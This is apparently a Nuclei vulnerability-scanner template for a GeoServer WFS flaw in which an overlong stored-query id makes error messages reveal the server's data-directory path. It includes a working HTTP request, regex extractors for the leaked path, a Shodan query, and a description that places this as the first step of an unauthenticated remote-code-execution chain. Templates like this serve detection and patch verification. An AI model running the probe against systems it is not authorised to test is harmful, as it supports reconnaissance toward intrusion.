GeoServer's WFS stored-query id is mapped directly to a file name in the data directory. An id longer than the operating system's file-name limit makes the lookup fail with a file-system error, and the WFS exception report returned to an anonymous caller includes that error message verbatim -- disclosing the server's absolute data directory path. This is not harmful on its own, but it is the first step of an unauthenticated remote-code-execution chain (see GHSA-hgm3-wq4h-8vvq / CVE-2026-129245) because later steps need the path to build file:// references to files in the data directory.
id: CVE-2026-129244
info:
name: GeoServer WFS Stored-Query - Data Directory Path Disclosure
author: lama678
severity: low
description: |
GeoServer's WFS stored-query id is mapped directly to a file name in the data directory. An id longer than the operating system's file-name limit makes the lookup fail with a file-system error, and the WFS exception report returned to an anonymous caller includes that error message verbatim -- disclosing the server's absolute data directory path. This is not harmful on its own, but it is the first step of an unauthenticated remote-code-execution chain (see GHSA-hgm3-wq4h-8vvq / CVE-2026-129245) because later steps need the path to build file:// references to files in the data directory.
impact: |
An unauthenticated attacker learns the absolute path of the GeoServer data directory, which by itself grants no access but enables file:// based attacks in later steps of a documented remote-code-execution chain.
remediation: |
Upgrade to GeoServer 2.27.7, 2.28.6 or 3.0.2, which reject overlong stored query ids with a short error and log file-system errors instead of returning them to the client.
reference:
- https://github.com/geoserver/geoserver/security/advisories/GHSA-4v26-c537-jvxc
- https://osgeo-org.atlassian.net/browse/GEOS-12240
classification:
cve-id: CVE-2026-129244
cwe-id: CWE-209
metadata:
verified: true
max-request: 1
vendor: geoserver
product: geoserver
shodan-query: title:"GeoServer"
tags: geoserver,cve,cve2026,exposure,disclosure,vkev
http:
- raw:
- |
POST /wfs HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?><wfs:GetFeature service="WFS" version="2.0.0" xmlns:wfs="http://www.opengis.net/wfs/2.0"><wfs:StoredQuery id="{{repeat('A', 4092)}}"/></wfs:GetFeature>
matchers-condition: and
matchers:
- type: regex
regex:
- '/[^\r\n"<]+?/wfs/query/A{200,}\.xml'
- type: word
words:
- "ows:ExceptionReport"
part: body
extractors:
- type: regex
name: data_dir
group: 1
regex:
- '(/[^\r\n"<]+?)/wfs/query/A{200,}\.xml'
# digest: 490a0046304402200eec5f90d283afceb0eb882fbceedffa6a9e2d9594867939c447f02e509d3e590220047006cb80b376db89e4716cb77a4e92ea2d3ac1ccf700b4761db4936e23ff25:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.